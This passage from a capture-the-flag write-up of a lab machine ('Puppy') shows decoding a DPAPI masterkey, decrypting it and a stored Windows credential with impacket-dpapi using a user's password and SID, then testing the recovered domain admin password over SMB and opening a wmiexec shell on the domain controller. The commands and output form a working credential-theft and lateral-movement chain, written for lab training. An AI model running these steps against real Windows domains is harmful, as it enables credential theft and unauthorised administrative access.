AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
and decoding it in our attacker machine:
❯ echo -n 'AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=' | base64 -d > 556a2412-1275-4ccf-b721-e6a0b4f90407
We can then use dpapi.py
from Impacket
suite to extract the content from DPAPI
files. First, extract the content inside the masterkey
find using this file, steph.cooper
password and its SID
:
❯ impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
This returns a Decrypted key
that we will use now.
Use the Decrypted key
value from the previous command to extract the content of the credential at DPAPI
file:
❯ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
We have credentials: steph.cooper_adm:FivethChipOnItsWay2025!
.
Check if these credentials work in the target machine for SMB
service:
❯ nxc smb 10.129.246.234 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
They worked. Additionally, we get Pwn3d!
message for SMB
service, which means that steph.cooper_adm
is an administrator in this machine.
Finally, we can use a tool such as wmiexec.py
from Impacket
to gain a shell in the DC
machine as this privileged user:
❯ impacket-wmiexec PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.129.246.234
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
puppy\steph.cooper_adm
GG. We can grab the root
flag at Administrator
’s Desktop.
~Happy Hacking.